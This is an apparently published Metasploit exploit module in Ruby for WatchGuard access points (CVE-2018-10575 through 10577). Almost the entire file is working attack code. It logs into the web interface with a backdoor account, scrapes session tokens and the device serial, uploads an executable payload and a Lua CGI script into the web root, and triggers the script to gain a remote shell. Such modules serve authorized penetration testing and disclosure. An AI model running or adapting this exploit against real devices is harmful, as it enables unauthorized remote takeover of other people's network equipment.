##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => 'Watchguard AP Backdoor Shell',
'Description' => 'Watchguard AP\'s have a backdoor account with known credentials. This can be used to
gain a valid web session on the HTTP administration interface. The administrator
can then upload a shell directly to the web root to execute it.
This module can also be used if you have legitimate access credentials to the device.',
'References' =>
[
['CVE', 'CVE-2018-10575'],
['CVE', 'CVE-2018-10576'],
['CVE', 'CVE-2018-10577'],
['URL', 'http://seclists.org/fulldisclosure/2018/May/12'],
['URL', 'https://watchguardsupport.secure.force.com/publicKB?type=KBSecurityIssues&SFDCID=kA62A0000000LIy'],
],
'Author' => 'Stephen Shkardoon ', # ss23 / @ss2342
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Targets' => [ [ 'Automatic', { } ] ],
'DefaultTarget' => 0,
'Arch' => ARCH_MIPSBE,
))
register_options(
[
Opt::RPORT(443),
#Opt::SSL(true),
OptString.new('WG_USER', [ true, 'The username to authenticate as', 'admin']),
OptString.new('WG_PASS', [ true, 'The password for the specified username', '1234']),
])
end
def exploit
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => '/cgi-bin/luci/',
'headers' => {
'AUTH_USER' => datastore['WG_USER'],
'AUTH_PASS' => datastore['WG_PASS'],
},
})
if res.nil? || res.get_cookies.empty?
fail_with(Failure::NotFound, 'Unable to obtain a valid session with provided credentials')
end
# We have a valid session, so we should pull out the access credentials and find the serial number
sysauth = res.get_cookies.scan(/(sysauth=\w+);*/).flatten[0]
stok = res.redirection.to_s.scan(/;(stok=\w+)/).flatten[0]
vprint_status("Got sysauth #{sysauth}")
vprint_status("Got stok #{stok}")
res = send_request_cgi({
'method' => 'GET',
'uri' => "/cgi-bin/luci/;#{stok}/html/Status",
'headers' => {
'AUTH_USER' => datastore['WG_USER'],
'AUTH_PASS' => datastore['WG_PASS'],
},
'cookie' => sysauth,
})
if res.nil? || res.code != 200
fail_with(Failure::NotFound, 'Unable to request serial')
end
# Pull out the serial and store it for later
# var device_serial = "20AP0XXXXXXXX";
if res.body.match(/device_serial = "(\w+)";/)
serial = $1
else
fail_with(Failure::NotFound, 'Unable to find serial in response')
end
vprint_status("Got serial #{serial}")
# Finally, upload our payloads
res = send_request_cgi({
'method' => 'POST',
'uri' => "/cgi-bin/luci/;#{stok}/wgupload",
'headers' => {
'AUTH_USER' => datastore['WG_USER'],
'AUTH_PASS' => datastore['WG_PASS'],
},
'cookie' => "#{sysauth}; serial=#{serial}; filename=/tmp/payload; md5sum=fail",
'data' => payload.encoded_exe,
})
if res.nil? || res.code != 205
fail_with(Failure::NotFound, "Could not upload file 1: #{res.body}")
end
# Upload the lua script that executes our payload
res = send_request_cgi({
'method' => 'POST',
'uri' => "/cgi-bin/luci/;#{stok}/wgupload",
'headers' => {
'AUTH_USER' => datastore['WG_USER'],
'AUTH_PASS' => datastore['WG_PASS'],
},
'cookie' => "#{sysauth}; serial=#{serial}; filename=/www/cgi-bin/payload.luci; md5sum=fail",
'data' => "#!/usr/bin/lua
os.execute('/bin/chmod +x /tmp/payload');
os.execute('/tmp/payload');"
})
if res.nil? || res.code != 205
fail_with(Failure::NotFound, "Could not upload file 1: #{res.body}")
end
# Remove the trigger script once we've got a shell
register_file_for_cleanup("/www/cgi-bin/payload.luci")
vprint_status("Uploaded lua script")
# Trigger our payload
res = send_request_cgi({
'method' => 'GET',
'uri' => "/cgi-bin/payload.luci",
})
vprint_status("Requested lua payload")
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
vprint_error("Failed to connect to the web server")
return nil
end
end
end
